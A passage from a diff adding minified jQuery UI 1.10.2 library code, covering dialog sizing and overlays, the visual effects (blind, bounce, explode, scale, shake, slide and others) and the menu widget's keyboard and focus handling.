this.uiDialogTitlebarClose.button({label: '' + e}), + 'draggable' === t && + ((i = n.is(':data(ui-draggable)')), + i && !e && n.draggable('destroy'), + !i && e && this._makeDraggable()), + 'position' === t && this._position(), + 'resizable' === t && + ((s = n.is(':data(ui-resizable)')), + s && !e && n.resizable('destroy'), + s && + 'string' == typeof e && + n.resizable('option', 'handles', e), + s || e === !1 || this._makeResizable()), + 'title' === t && + this._title( + this.uiDialogTitlebar.find('.ui-dialog-title'), + )); + }, + _size: function () { + var t, + e, + i, + s = this.options; + this.element.show().css({ + width: 'auto', + minHeight: 0, + maxHeight: 'none', + height: 0, + }), + s.minWidth > s.width && (s.width = s.minWidth), + (t = this.uiDialog + .css({height: 'auto', width: s.width}) + .outerHeight()), + (e = Math.max(0, s.minHeight - t)), + (i = + 'number' == typeof s.maxHeight + ? Math.max(0, s.maxHeight - t) + : 'none'), + 'auto' === s.height + ? this.element.css({ + minHeight: e, + maxHeight: i, + height: 'auto', + }) + : this.element.height(Math.max(0, s.height - t)), + this.uiDialog.is(':data(ui-resizable)') && + this.uiDialog.resizable( + 'option', + 'minHeight', + this._minHeight(), + ); + }, + _blockFrames: function () { + this.iframeBlocks = this.document + .find('iframe') + .map(function () { + var e = t(this); + return t('
') + .css({ + position: 'absolute', + width: e.outerWidth(), + height: e.outerHeight(), + }) + .appendTo(e.parent()) + .offset(e.offset())[0]; + }); + }, + _unblockFrames: function () { + this.iframeBlocks && + (this.iframeBlocks.remove(), delete this.iframeBlocks); + }, + _allowInteraction: function (e) { + return t(e.target).closest('.ui-dialog').length + ? !0 + : !!t(e.target).closest('.ui-datepicker').length; + }, + _createOverlay: function () { + if (this.options.modal) { + var e = this, + i = this.widgetFullName; + t.ui.dialog.overlayInstances || + this._delay(function () { + t.ui.dialog.overlayInstances && + this.document.bind( + 'focusin.dialog', + function (s) { + e._allowInteraction(s) || + (s.preventDefault(), + t( + '.ui-dialog:visible:last .ui-dialog-content', + ) + .data(i) + ._focusTabbable()); + }, + ); + }), + (this.overlay = t('
') + .addClass('ui-widget-overlay ui-front') + .appendTo(this._appendTo())), + this._on(this.overlay, {mousedown: '_keepFocus'}), + t.ui.dialog.overlayInstances++; + } + }, + _destroyOverlay: function () { + this.options.modal && + this.overlay && + (t.ui.dialog.overlayInstances--, + t.ui.dialog.overlayInstances || + this.document.unbind('focusin.dialog'), + this.overlay.remove(), + (this.overlay = null)); + }, + }), + (t.ui.dialog.overlayInstances = 0), + t.uiBackCompat !== !1 && + t.widget('ui.dialog', t.ui.dialog, { + _position: function () { + var e, + i = this.options.position, + s = [], + n = [0, 0]; + i + ? (('string' == typeof i || + ('object' == typeof i && '0' in i)) && + ((s = i.split ? i.split(' ') : [i[0], i[1]]), + 1 === s.length && (s[1] = s[0]), + t.each(['left', 'top'], function (t, e) { + +s[t] === s[t] && + ((n[t] = s[t]), (s[t] = e)); + }), + (i = { + my: + s[0] + + (0 > n[0] ? n[0] : '+' + n[0]) + + ' ' + + s[1] + + (0 > n[1] ? n[1] : '+' + n[1]), + at: s.join(' '), + })), + (i = t.extend( + {}, + t.ui.dialog.prototype.options.position, + i, + ))) + : (i = t.ui.dialog.prototype.options.position), + (e = this.uiDialog.is(':visible')), + e || this.uiDialog.show(), + this.uiDialog.position(i), + e || this.uiDialog.hide(); + }, + }); + })(jQuery), + (function (t) { + var e = /up|down|vertical/, + i = /up|left|vertical|horizontal/; + t.effects.effect.blind = function (s, n) { + var o, + a, + r, + h = t(this), + l = [ + 'position', + 'top', + 'bottom', + 'left', + 'right', + 'height', + 'width', + ], + c = t.effects.setMode(h, s.mode || 'hide'), + u = s.direction || 'up', + d = e.test(u), + p = d ? 'height' : 'width', + f = d ? 'top' : 'left', + g = i.test(u), + m = {}, + v = 'show' === c; + h.parent().is('.ui-effects-wrapper') + ? t.effects.save(h.parent(), l) + : t.effects.save(h, l), + h.show(), + (o = t.effects.createWrapper(h).css({overflow: 'hidden'})), + (a = o[p]()), + (r = parseFloat(o.css(f)) || 0), + (m[p] = v ? a : 0), + g || + (h + .css(d ? 'bottom' : 'right', 0) + .css(d ? 'top' : 'left', 'auto') + .css({position: 'absolute'}), + (m[f] = v ? r : a + r)), + v && (o.css(p, 0), g || o.css(f, r + a)), + o.animate(m, { + duration: s.duration, + easing: s.easing, + queue: !1, + complete: function () { + 'hide' === c && h.hide(), + t.effects.restore(h, l), + t.effects.removeWrapper(h), + n(); + }, + }); + }; + })(jQuery), + (function (t) { + t.effects.effect.bounce = function (e, i) { + var s, + n, + o, + a = t(this), + r = [ + 'position', + 'top', + 'bottom', + 'left', + 'right', + 'height', + 'width', + ], + h = t.effects.setMode(a, e.mode || 'effect'), + l = 'hide' === h, + c = 'show' === h, + u = e.direction || 'up', + d = e.distance, + p = e.times || 5, + f = 2 * p + (c || l ? 1 : 0), + g = e.duration / f, + m = e.easing, + v = 'up' === u || 'down' === u ? 'top' : 'left', + _ = 'up' === u || 'left' === u, + b = a.queue(), + y = b.length; + for ( + (c || l) && r.push('opacity'), + t.effects.save(a, r), + a.show(), + t.effects.createWrapper(a), + d || + (d = + a['top' === v ? 'outerHeight' : 'outerWidth']() / + 3), + c && + ((o = {opacity: 1}), + (o[v] = 0), + a + .css('opacity', 0) + .css(v, _ ? 2 * -d : 2 * d) + .animate(o, g, m)), + l && (d /= Math.pow(2, p - 1)), + o = {}, + o[v] = 0, + s = 0; + p > s; + s++ + ) + (n = {}), + (n[v] = (_ ? '-=' : '+=') + d), + a.animate(n, g, m).animate(o, g, m), + (d = l ? 2 * d : d / 2); + l && + ((n = {opacity: 0}), + (n[v] = (_ ? '-=' : '+=') + d), + a.animate(n, g, m)), + a.queue(function () { + l && a.hide(), + t.effects.restore(a, r), + t.effects.removeWrapper(a), + i(); + }), + y > 1 && b.splice.apply(b, [1, 0].concat(b.splice(y, f + 1))), + a.dequeue(); + }; + })(jQuery), + (function (t) { + t.effects.effect.clip = function (e, i) { + var s, + n, + o, + a = t(this), + r = [ + 'position', + 'top', + 'bottom', + 'left', + 'right', + 'height', + 'width', + ], + h = t.effects.setMode(a, e.mode || 'hide'), + l = 'show' === h, + c = e.direction || 'vertical', + u = 'vertical' === c, + d = u ? 'height' : 'width', + p = u ? 'top' : 'left', + f = {}; + t.effects.save(a, r), + a.show(), + (s = t.effects.createWrapper(a).css({overflow: 'hidden'})), + (n = 'IMG' === a[0].tagName ? s : a), + (o = n[d]()), + l && (n.css(d, 0), n.css(p, o / 2)), + (f[d] = l ? o : 0), + (f[p] = l ? 0 : o / 2), + n.animate(f, { + queue: !1, + duration: e.duration, + easing: e.easing, + complete: function () { + l || a.hide(), + t.effects.restore(a, r), + t.effects.removeWrapper(a), + i(); + }, + }); + }; + })(jQuery), + (function (t) { + t.effects.effect.drop = function (e, i) { + var s, + n = t(this), + o = [ + 'position', + 'top', + 'bottom', + 'left', + 'right', + 'opacity', + 'height', + 'width', + ], + a = t.effects.setMode(n, e.mode || 'hide'), + r = 'show' === a, + h = e.direction || 'left', + l = 'up' === h || 'down' === h ? 'top' : 'left', + c = 'up' === h || 'left' === h ? 'pos' : 'neg', + u = {opacity: r ? 1 : 0}; + t.effects.save(n, o), + n.show(), + t.effects.createWrapper(n), + (s = + e.distance || + n['top' === l ? 'outerHeight' : 'outerWidth'](!0) / 2), + r && n.css('opacity', 0).css(l, 'pos' === c ? -s : s), + (u[l] = + (r + ? 'pos' === c + ? '+=' + : '-=' + : 'pos' === c + ? '-=' + : '+=') + s), + n.animate(u, { + queue: !1, + duration: e.duration, + easing: e.easing, + complete: function () { + 'hide' === a && n.hide(), + t.effects.restore(n, o), + t.effects.removeWrapper(n), + i(); + }, + }); + }; + })(jQuery), + (function (t) { + t.effects.effect.explode = function (e, i) { + function s() { + b.push(this), b.length === u * d && n(); + } + function n() { + p.css({visibility: 'visible'}), + t(b).remove(), + g || p.hide(), + i(); + } + var o, + a, + r, + h, + l, + c, + u = e.pieces ? Math.round(Math.sqrt(e.pieces)) : 3, + d = u, + p = t(this), + f = t.effects.setMode(p, e.mode || 'hide'), + g = 'show' === f, + m = p.show().css('visibility', 'hidden').offset(), + v = Math.ceil(p.outerWidth() / d), + _ = Math.ceil(p.outerHeight() / u), + b = []; + for (o = 0; u > o; o++) + for (h = m.top + o * _, c = o - (u - 1) / 2, a = 0; d > a; a++) + (r = m.left + a * v), + (l = a - (d - 1) / 2), + p + .clone() + .appendTo('body') + .wrap('
') + .css({ + position: 'absolute', + visibility: 'visible', + left: -a * v, + top: -o * _, + }) + .parent() + .addClass('ui-effects-explode') + .css({ + position: 'absolute', + overflow: 'hidden', + width: v, + height: _, + left: r + (g ? l * v : 0), + top: h + (g ? c * _ : 0), + opacity: g ? 0 : 1, + }) + .animate( + { + left: r + (g ? 0 : l * v), + top: h + (g ? 0 : c * _), + opacity: g ? 1 : 0, + }, + e.duration || 500, + e.easing, + s, + ); + }; + })(jQuery), + (function (t) { + t.effects.effect.fade = function (e, i) { + var s = t(this), + n = t.effects.setMode(s, e.mode || 'toggle'); + s.animate( + {opacity: n}, + { + queue: !1, + duration: e.duration, + easing: e.easing, + complete: i, + }, + ); + }; + })(jQuery), + (function (t) { + t.effects.effect.fold = function (e, i) { + var s, + n, + o = t(this), + a = [ + 'position', + 'top', + 'bottom', + 'left', + 'right', + 'height', + 'width', + ], + r = t.effects.setMode(o, e.mode || 'hide'), + h = 'show' === r, + l = 'hide' === r, + c = e.size || 15, + u = /([0-9]+)%/.exec(c), + d = !!e.horizFirst, + p = h !== d, + f = p ? ['width', 'height'] : ['height', 'width'], + g = e.duration / 2, + m = {}, + v = {}; + t.effects.save(o, a), + o.show(), + (s = t.effects.createWrapper(o).css({overflow: 'hidden'})), + (n = p ? [s.width(), s.height()] : [s.height(), s.width()]), + u && (c = (parseInt(u[1], 10) / 100) * n[l ? 0 : 1]), + h && s.css(d ? {height: 0, width: c} : {height: c, width: 0}), + (m[f[0]] = h ? n[0] : c), + (v[f[1]] = h ? n[1] : 0), + s.animate(m, g, e.easing).animate(v, g, e.easing, function () { + l && o.hide(), + t.effects.restore(o, a), + t.effects.removeWrapper(o), + i(); + }); + }; + })(jQuery), + (function (t) { + t.effects.effect.highlight = function (e, i) { + var s = t(this), + n = ['backgroundImage', 'backgroundColor', 'opacity'], + o = t.effects.setMode(s, e.mode || 'show'), + a = {backgroundColor: s.css('backgroundColor')}; + 'hide' === o && (a.opacity = 0), + t.effects.save(s, n), + s + .show() + .css({ + backgroundImage: 'none', + backgroundColor: e.color || '#ffff99', + }) + .animate(a, { + queue: !1, + duration: e.duration, + easing: e.easing, + complete: function () { + 'hide' === o && s.hide(), + t.effects.restore(s, n), + i(); + }, + }); + }; + })(jQuery), + (function (t) { + t.effects.effect.pulsate = function (e, i) { + var s, + n = t(this), + o = t.effects.setMode(n, e.mode || 'show'), + a = 'show' === o, + r = 'hide' === o, + h = a || 'hide' === o, + l = 2 * (e.times || 5) + (h ? 1 : 0), + c = e.duration / l, + u = 0, + d = n.queue(), + p = d.length; + for ( + (a || !n.is(':visible')) && + (n.css('opacity', 0).show(), (u = 1)), + s = 1; + l > s; + s++ + ) + n.animate({opacity: u}, c, e.easing), (u = 1 - u); + n.animate({opacity: u}, c, e.easing), + n.queue(function () { + r && n.hide(), i(); + }), + p > 1 && d.splice.apply(d, [1, 0].concat(d.splice(p, l + 1))), + n.dequeue(); + }; + })(jQuery), + (function (t) { + (t.effects.effect.puff = function (e, i) { + var s = t(this), + n = t.effects.setMode(s, e.mode || 'hide'), + o = 'hide' === n, + a = parseInt(e.percent, 10) || 150, + r = a / 100, + h = { + height: s.height(), + width: s.width(), + outerHeight: s.outerHeight(), + outerWidth: s.outerWidth(), + }; + t.extend(e, { + effect: 'scale', + queue: !1, + fade: !0, + mode: n, + complete: i, + percent: o ? a : 100, + from: o + ? h + : { + height: h.height * r, + width: h.width * r, + outerHeight: h.outerHeight * r, + outerWidth: h.outerWidth * r, + }, + }), + s.effect(e); + }), + (t.effects.effect.scale = function (e, i) { + var s = t(this), + n = t.extend(!0, {}, e), + o = t.effects.setMode(s, e.mode || 'effect'), + a = + parseInt(e.percent, 10) || + (0 === parseInt(e.percent, 10) + ? 0 + : 'hide' === o + ? 0 + : 100), + r = e.direction || 'both', + h = e.origin, + l = { + height: s.height(), + width: s.width(), + outerHeight: s.outerHeight(), + outerWidth: s.outerWidth(), + }, + c = { + y: 'horizontal' !== r ? a / 100 : 1, + x: 'vertical' !== r ? a / 100 : 1, + }; + (n.effect = 'size'), + (n.queue = !1), + (n.complete = i), + 'effect' !== o && + ((n.origin = h || ['middle', 'center']), + (n.restore = !0)), + (n.from = + e.from || + ('show' === o + ? { + height: 0, + width: 0, + outerHeight: 0, + outerWidth: 0, + } + : l)), + (n.to = { + height: l.height * c.y, + width: l.width * c.x, + outerHeight: l.outerHeight * c.y, + outerWidth: l.outerWidth * c.x, + }), + n.fade && + ('show' === o && + ((n.from.opacity = 0), (n.to.opacity = 1)), + 'hide' === o && + ((n.from.opacity = 1), (n.to.opacity = 0))), + s.effect(n); + }), + (t.effects.effect.size = function (e, i) { + var s, + n, + o, + a = t(this), + r = [ + 'position', + 'top', + 'bottom', + 'left', + 'right', + 'width', + 'height', + 'overflow', + 'opacity', + ], + h = [ + 'position', + 'top', + 'bottom', + 'left', + 'right', + 'overflow', + 'opacity', + ], + l = ['width', 'height', 'overflow'], + c = ['fontSize'], + u = [ + 'borderTopWidth', + 'borderBottomWidth', + 'paddingTop', + 'paddingBottom', + ], + d = [ + 'borderLeftWidth', + 'borderRightWidth', + 'paddingLeft', + 'paddingRight', + ], + p = t.effects.setMode(a, e.mode || 'effect'), + f = e.restore || 'effect' !== p, + g = e.scale || 'both', + m = e.origin || ['middle', 'center'], + v = a.css('position'), + _ = f ? r : h, + b = {height: 0, width: 0, outerHeight: 0, outerWidth: 0}; + 'show' === p && a.show(), + (s = { + height: a.height(), + width: a.width(), + outerHeight: a.outerHeight(), + outerWidth: a.outerWidth(), + }), + 'toggle' === e.mode && 'show' === p + ? ((a.from = e.to || b), (a.to = e.from || s)) + : ((a.from = e.from || ('show' === p ? b : s)), + (a.to = e.to || ('hide' === p ? b : s))), + (o = { + from: { + y: a.from.height / s.height, + x: a.from.width / s.width, + }, + to: { + y: a.to.height / s.height, + x: a.to.width / s.width, + }, + }), + ('box' === g || 'both' === g) && + (o.from.y !== o.to.y && + ((_ = _.concat(u)), + (a.from = t.effects.setTransition( + a, + u, + o.from.y, + a.from, + )), + (a.to = t.effects.setTransition( + a, + u, + o.to.y, + a.to, + ))), + o.from.x !== o.to.x && + ((_ = _.concat(d)), + (a.from = t.effects.setTransition( + a, + d, + o.from.x, + a.from, + )), + (a.to = t.effects.setTransition( + a, + d, + o.to.x, + a.to, + )))), + ('content' === g || 'both' === g) && + o.from.y !== o.to.y && + ((_ = _.concat(c).concat(l)), + (a.from = t.effects.setTransition( + a, + c, + o.from.y, + a.from, + )), + (a.to = t.effects.setTransition(a, c, o.to.y, a.to))), + t.effects.save(a, _), + a.show(), + t.effects.createWrapper(a), + a.css('overflow', 'hidden').css(a.from), + m && + ((n = t.effects.getBaseline(m, s)), + (a.from.top = (s.outerHeight - a.outerHeight()) * n.y), + (a.from.left = (s.outerWidth - a.outerWidth()) * n.x), + (a.to.top = (s.outerHeight - a.to.outerHeight) * n.y), + (a.to.left = (s.outerWidth - a.to.outerWidth) * n.x)), + a.css(a.from), + ('content' === g || 'both' === g) && + ((u = u + .concat(['marginTop', 'marginBottom']) + .concat(c)), + (d = d.concat(['marginLeft', 'marginRight'])), + (l = r.concat(u).concat(d)), + a.find('*[width]').each(function () { + var i = t(this), + s = { + height: i.height(), + width: i.width(), + outerHeight: i.outerHeight(), + outerWidth: i.outerWidth(), + }; + f && t.effects.save(i, l), + (i.from = { + height: s.height * o.from.y, + width: s.width * o.from.x, + outerHeight: s.outerHeight * o.from.y, + outerWidth: s.outerWidth * o.from.x, + }), + (i.to = { + height: s.height * o.to.y, + width: s.width * o.to.x, + outerHeight: s.height * o.to.y, + outerWidth: s.width * o.to.x, + }), + o.from.y !== o.to.y && + ((i.from = t.effects.setTransition( + i, + u, + o.from.y, + i.from, + )), + (i.to = t.effects.setTransition( + i, + u, + o.to.y, + i.to, + ))), + o.from.x !== o.to.x && + ((i.from = t.effects.setTransition( + i, + d, + o.from.x, + i.from, + )), + (i.to = t.effects.setTransition( + i, + d, + o.to.x, + i.to, + ))), + i.css(i.from), + i.animate( + i.to, + e.duration, + e.easing, + function () { + f && t.effects.restore(i, l); + }, + ); + })), + a.animate(a.to, { + queue: !1, + duration: e.duration, + easing: e.easing, + complete: function () { + 0 === a.to.opacity && + a.css('opacity', a.from.opacity), + 'hide' === p && a.hide(), + t.effects.restore(a, _), + f || + ('static' === v + ? a.css({ + position: 'relative', + top: a.to.top, + left: a.to.left, + }) + : t.each( + ['top', 'left'], + function (t, e) { + a.css(e, function (e, i) { + var s = parseInt(i, 10), + n = t + ? a.to.left + : a.to.top; + return 'auto' === i + ? n + 'px' + : s + n + 'px'; + }); + }, + )), + t.effects.removeWrapper(a), + i(); + }, + }); + }); + })(jQuery), + (function (t) { + t.effects.effect.shake = function (e, i) { + var s, + n = t(this), + o = [ + 'position', + 'top', + 'bottom', + 'left', + 'right', + 'height', + 'width', + ], + a = t.effects.setMode(n, e.mode || 'effect'), + r = e.direction || 'left', + h = e.distance || 20, + l = e.times || 3, + c = 2 * l + 1, + u = Math.round(e.duration / c), + d = 'up' === r || 'down' === r ? 'top' : 'left', + p = 'up' === r || 'left' === r, + f = {}, + g = {}, + m = {}, + v = n.queue(), + _ = v.length; + for ( + t.effects.save(n, o), + n.show(), + t.effects.createWrapper(n), + f[d] = (p ? '-=' : '+=') + h, + g[d] = (p ? '+=' : '-=') + 2 * h, + m[d] = (p ? '-=' : '+=') + 2 * h, + n.animate(f, u, e.easing), + s = 1; + l > s; + s++ + ) + n.animate(g, u, e.easing).animate(m, u, e.easing); + n + .animate(g, u, e.easing) + .animate(f, u / 2, e.easing) + .queue(function () { + 'hide' === a && n.hide(), + t.effects.restore(n, o), + t.effects.removeWrapper(n), + i(); + }), + _ > 1 && v.splice.apply(v, [1, 0].concat(v.splice(_, c + 1))), + n.dequeue(); + }; + })(jQuery), + (function (t) { + t.effects.effect.slide = function (e, i) { + var s, + n = t(this), + o = [ + 'position', + 'top', + 'bottom', + 'left', + 'right', + 'width', + 'height', + ], + a = t.effects.setMode(n, e.mode || 'show'), + r = 'show' === a, + h = e.direction || 'left', + l = 'up' === h || 'down' === h ? 'top' : 'left', + c = 'up' === h || 'left' === h, + u = {}; + t.effects.save(n, o), + n.show(), + (s = + e.distance || + n['top' === l ? 'outerHeight' : 'outerWidth'](!0)), + t.effects.createWrapper(n).css({overflow: 'hidden'}), + r && n.css(l, c ? (isNaN(s) ? '-' + s : -s) : s), + (u[l] = (r ? (c ? '+=' : '-=') : c ? '-=' : '+=') + s), + n.animate(u, { + queue: !1, + duration: e.duration, + easing: e.easing, + complete: function () { + 'hide' === a && n.hide(), + t.effects.restore(n, o), + t.effects.removeWrapper(n), + i(); + }, + }); + }; + })(jQuery), + (function (t) { + t.effects.effect.transfer = function (e, i) { + var s = t(this), + n = t(e.to), + o = 'fixed' === n.css('position'), + a = t('body'), + r = o ? a.scrollTop() : 0, + h = o ? a.scrollLeft() : 0, + l = n.offset(), + c = { + top: l.top - r, + left: l.left - h, + height: n.innerHeight(), + width: n.innerWidth(), + }, + u = s.offset(), + d = t("
") + .appendTo(document.body) + .addClass(e.className) + .css({ + top: u.top - r, + left: u.left - h, + height: s.innerHeight(), + width: s.innerWidth(), + position: o ? 'fixed' : 'absolute', + }) + .animate(c, e.duration, e.easing, function () { + d.remove(), i(); + }); + }; + })(jQuery), + (function (t) { + t.widget('ui.menu', { + version: '1.10.2', + defaultElement: '
    ', + delay: 300, + options: { + icons: {submenu: 'ui-icon-carat-1-e'}, + menus: 'ul', + position: {my: 'left top', at: 'right top'}, + role: 'menu', + blur: null, + focus: null, + select: null, + }, + _create: function () { + (this.activeMenu = this.element), + (this.mouseHandled = !1), + this.element + .uniqueId() + .addClass( + 'ui-menu ui-widget ui-widget-content ui-corner-all', + ) + .toggleClass( + 'ui-menu-icons', + !!this.element.find('.ui-icon').length, + ) + .attr({role: this.options.role, tabIndex: 0}) + .bind( + 'click' + this.eventNamespace, + t.proxy(function (t) { + this.options.disabled && t.preventDefault(); + }, this), + ), + this.options.disabled && + this.element + .addClass('ui-state-disabled') + .attr('aria-disabled', 'true'), + this._on({ + 'mousedown .ui-menu-item > a': function (t) { + t.preventDefault(); + }, + 'click .ui-state-disabled > a': function (t) { + t.preventDefault(); + }, + 'click .ui-menu-item:has(a)': function (e) { + var i = t(e.target).closest('.ui-menu-item'); + !this.mouseHandled && + i.not('.ui-state-disabled').length && + ((this.mouseHandled = !0), + this.select(e), + i.has('.ui-menu').length + ? this.expand(e) + : this.element.is(':focus') || + (this.element.trigger('focus', [!0]), + this.active && + 1 === + this.active.parents('.ui-menu') + .length && + clearTimeout(this.timer))); + }, + 'mouseenter .ui-menu-item': function (e) { + var i = t(e.currentTarget); + i + .siblings() + .children('.ui-state-active') + .removeClass('ui-state-active'), + this.focus(e, i); + }, + mouseleave: 'collapseAll', + 'mouseleave .ui-menu': 'collapseAll', + focus: function (t, e) { + var i = + this.active || + this.element.children('.ui-menu-item').eq(0); + e || this.focus(t, i); + }, + blur: function (e) { + this._delay(function () { + t.contains( + this.element[0], + this.document[0].activeElement, + ) || this.collapseAll(e); + }); + }, + keydown: '_keydown', + }), + this.refresh(), + this._on(this.document, { + click: function (e) { + t(e.target).closest('.ui-menu').length || + this.collapseAll(e), + (this.mouseHandled = !1); + }, + }); + }, + _destroy: function () { + this.element + .removeAttr('aria-activedescendant') + .find('.ui-menu') + .addBack() + .removeClass( + 'ui-menu ui-widget ui-widget-content ui-corner-all ui-menu-icons', + ) + .removeAttr('role') + .removeAttr('tabIndex') + .removeAttr('aria-labelledby') + .removeAttr('aria-expanded') + .removeAttr('aria-hidden') + .removeAttr('aria-disabled') + .removeUniqueId() + .show(), + this.element + .find('.ui-menu-item') + .removeClass('ui-menu-item') + .removeAttr('role') + .removeAttr('aria-disabled') + .children('a') + .removeUniqueId() + .removeClass('ui-corner-all ui-state-hover') + .removeAttr('tabIndex') + .removeAttr('role') + .removeAttr('aria-haspopup') + .children() + .each(function () { + var e = t(this); + e.data('ui-menu-submenu-carat') && e.remove(); + }), + this.element + .find('.ui-menu-divider') + .removeClass('ui-menu-divider ui-widget-content'); + }, + _keydown: function (e) { + function i(t) { + return t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g, '\\$&'); + } + var s, + n, + o, + a, + r, + h = !0; + switch (e.keyCode) { + case t.ui.keyCode.PAGE_UP: + this.previousPage(e); + break; + case t.ui.keyCode.PAGE_DOWN: + this.nextPage(e); + break; + case t.ui.keyCode.HOME: + this._move('first', 'first', e); + break; + case t.ui.keyCode.END: + this._move('last', 'last', e); + break; + case t.ui.keyCode.UP: + this.previous(e); + break; + case t.ui.keyCode.DOWN: + this.next(e); + break; + case t.ui.keyCode.LEFT: + this.collapse(e); + break; + case t.ui.keyCode.RIGHT: + this.active && + !this.active.is('.ui-state-disabled') && + this.expand(e); + break; + case t.ui.keyCode.ENTER: + case t.ui.keyCode.SPACE: + this._activate(e); + break; + case t.ui.keyCode.ESCAPE: + this.collapse(e); + break; + default: + (h = !1), + (n = this.previousFilter || ''), + (o = String.fromCharCode(e.keyCode)), + (a = !1), + clearTimeout(this.filterTimer), + o === n ? (a = !0) : (o = n + o), + (r = RegExp('^' + i(o), 'i')), + (s = this.activeMenu + .children('.ui-menu-item') + .filter(function () { + return r.test(t(this).children('a').text()); + })), + (s = + a && -1 !== s.index(this.active.next()) + ? this.active.nextAll('.ui-menu-item') + : s), + s.length || + ((o = String.fromCharCode(e.keyCode)), + (r = RegExp('^' + i(o), 'i')), + (s = this.activeMenu + .children('.ui-menu-item') + .filter(function () { + return r.test( + t(this).children('a').text(), + ); + }))), + s.length + ? (this.focus(e, s), + s.length > 1 + ? ((this.previousFilter = o), + (this.filterTimer = this._delay( + function () { + delete this.previousFilter; + }, + 1e3, + ))) + : delete this.previousFilter) + : delete this.previousFilter; + } + h && e.preventDefault(); + }, + _activate: function (t) { + this.active.is('.ui-state-disabled') || + (this.active.children("a[aria-haspopup='true']").length + ? this.expand(t) + : this.select(t)); + }, + refresh: function () { + var e, + i = this.options.icons.submenu, + s = this.element.find(this.options.menus); + s + .filter(':not(.ui-menu)') + .addClass( + 'ui-menu ui-widget ui-widget-content ui-corner-all', + ) + .hide() + .attr({ + role: this.options.role, + 'aria-hidden': 'true', + 'aria-expanded': 'false', + }) + .each(function () { + var e = t(this), + s = e.prev('a'), + n = t('') + .addClass('ui-menu-icon ui-icon ' + i) + .data('ui-menu-submenu-carat', !0); + s.attr('aria-haspopup', 'true').prepend(n), + e.attr('aria-labelledby', s.attr('id')); + }), + (e = s.add(this.element)), + e + .children(':not(.ui-menu-item):has(a)') + .addClass('ui-menu-item') + .attr('role', 'presentation') + .children('a') + .uniqueId() + .addClass('ui-corner-all') + .attr({tabIndex: -1, role: this._itemRole()}), + e.children(':not(.ui-menu-item)').each(function () { + var e = t(this); + /[^\-\u2014\u2013\s]/.test(e.text()) || + e.addClass('ui-widget-content ui-menu-divider'); + }), + e + .children('.ui-state-disabled') + .attr('aria-disabled', 'true'), + this.active && + !t.contains(this.element[0], this.active[0]) && + this.blur(); + }, + _itemRole: function () { + return {menu: 'menuitem', listbox: 'option'}[this.options.role]; + }, + _setOption: function (t, e) { + 'icons' === t && + this.element + .find('.ui-menu-icon') + .removeClass(this.options.icons.submenu) + .addClass(e.submenu), + this._super(t, e); + }, + focus: function (t, e) { + var i, s; + this.blur(t, t && 'focus' === t.type), + this._scrollIntoView(e), + (this.active = e.first()), + (s = this.active.children('a').addClass('ui-state-focus')), + this.options.role && + this.element.attr( + 'aria-activedescendant', + s.attr('id'), + ), + this.active + .parent() + .closest('.ui-menu-item') + .children('a:first') + .addClass('ui-state-active'), + t && 'keydown' === t.type + ? this._close() + : (this.timer = this._delay(function () { + this._close(); + }, this.delay)), + (i = e.children('.ui-menu')), + i.length && /^mouse/.test(t.type) && this._startOpening(i), + (this.activeMenu = e.parent()), + this._trigger('focus', t, {item: e}); + }, + _scrollIntoView: function (e) { + var i, s, n, o, a, r; + this._hasScroll() && + ((i = + parseFloat( + t.css(this.activeMenu[0], 'borderTopWidth'), + ) || 0), + (s = + parseFloat(t.css(this.activeMenu[0], 'paddingTop')) || + 0), + (n = e.offset().top - this.activeMenu.offset().top - i - s), + (o = this.activeMenu.scrollTop()), + (a = this.activeMenu.height()), + (r = e.height()), + 0 > n + ? this.activeMenu.scrollTop(o + n) + : n + r > a && + this.activeMenu.scrollTop(o + n - a + r)); + }, + blur: function (t, e) { + e || clearTimeout(this.timer), + this.active && + (this.active + .children('a') + .removeClass('ui-state-focus'), + (this.active = null), + this._trigger('blur', t, {item: this.active})); + }, + _startOpening: function (t) { + clearTimeout(this.timer), + 'true' === t.attr('aria-hidden') && + (this.timer = this._delay(function () { + this._close(), this._open(t); + }, this.delay)); + }, + _open: function (e) { + var i = t.extend({of: this.active}, this.options.position); + clearTimeout(this.timer), + this.element + .find('.ui-menu') + .not(e.parents('.ui-menu')) + .hide() + .attr('aria-hidden', 'true'), + e + .show() + .removeAttr('aria-hidden') + .attr('aria-expanded', 'true') + .position(i); + }, + collapseAll: function (e, i) { + clearTimeout(this.timer), + (this.timer = this._delay(function () { + var s = i + ? this.element + : t(e && e.target).closest( + this.element.find('.ui-menu'), + ); + s.length || (s = this.element), + this._close(s), + this.blur(e), + (this.activeMenu = s); + }, this.delay)); + }, + _close: function (t) { + t || (t = this.active ? this.active.parent() : this.element), + t + .find('.ui-menu') + .hide() + .attr('aria-hidden', 'true') + .attr('aria-expanded', 'false') + .end() + .find('a.ui-state-active') + .removeClass('ui-state-active'); + }, + collapse: function (t) { + var e = + this.active && + this.active.parent().closest('.ui-menu-item', this.element); + e && e.length && (this._close(), this.focus(t, e)); + }, + expand: function (t) { + var e = + this.active && + this.active + .children('.ui-menu ') + .children('.ui-menu-item') + .first(); + e && + e.length && + (this._open(e.parent()), + this._delay(function () { + this.focus(t, e); + })); + }, + next: function (t) { + this._move('next', 'first', t); + }, + previous: function (t) { + this._move('prev', 'last', t); + }, + isFirstItem: function () { + return ( + this.active && !this.active.prevAll('.ui-menu-item').length + ); + }, + isLastItem: function () { + return ( + this.active && !this.active.nextAll('.ui-menu-item').length + ); + }, + _move: function (t, e, i) { + var s; + this.active && + (s = + 'first' === t || 'last' === t + ? this.active[ + 'first' === t ? 'prevAll' : 'nextAll' + ]('.ui-menu-item').eq(-1) + : this.active[t + 'All']('.ui-menu-item').eq(0)), + (s && s.length && this.active) || + (s = this.activeMenu.children('.ui-menu-item')[e]()), + this.focus(i, s); + }, + nextPage: function (e) { + var i, s, n; + return this.active + ? (this.isLastItem() || + (this._hasScroll() + ? ((s = this.active.offset().top), + (n = this.element.height()), + this.active + .nextAll('.ui-menu-item') + .each(function () { + return ( + (i = t(this)), + 0 > i.offset().top - s - n + ); + }), + this.focus(e, i)) + : this.focus( + e, + this.activeMenu + .children('.ui-menu-item') + [this.active ? 'last' : 'first'](), + )), + undefined) + : (this.next(e), undefined); + }, + previousPage: function (e) { + var i, s, n; + return this.active + ? (this.isFirstItem() || + (this._hasScroll() + ? ((s = this.active.offset().top), + (n = this.element.height()), + this.active + .prevAll('.ui-menu-item') + .each(function () { + return ( + (i = t(this)), + i.offset().top - s + n > 0 + ); + }), + this.focus(e, i)) + : this.focus( + e, + this.activeMenu + .children('.ui-menu-item') 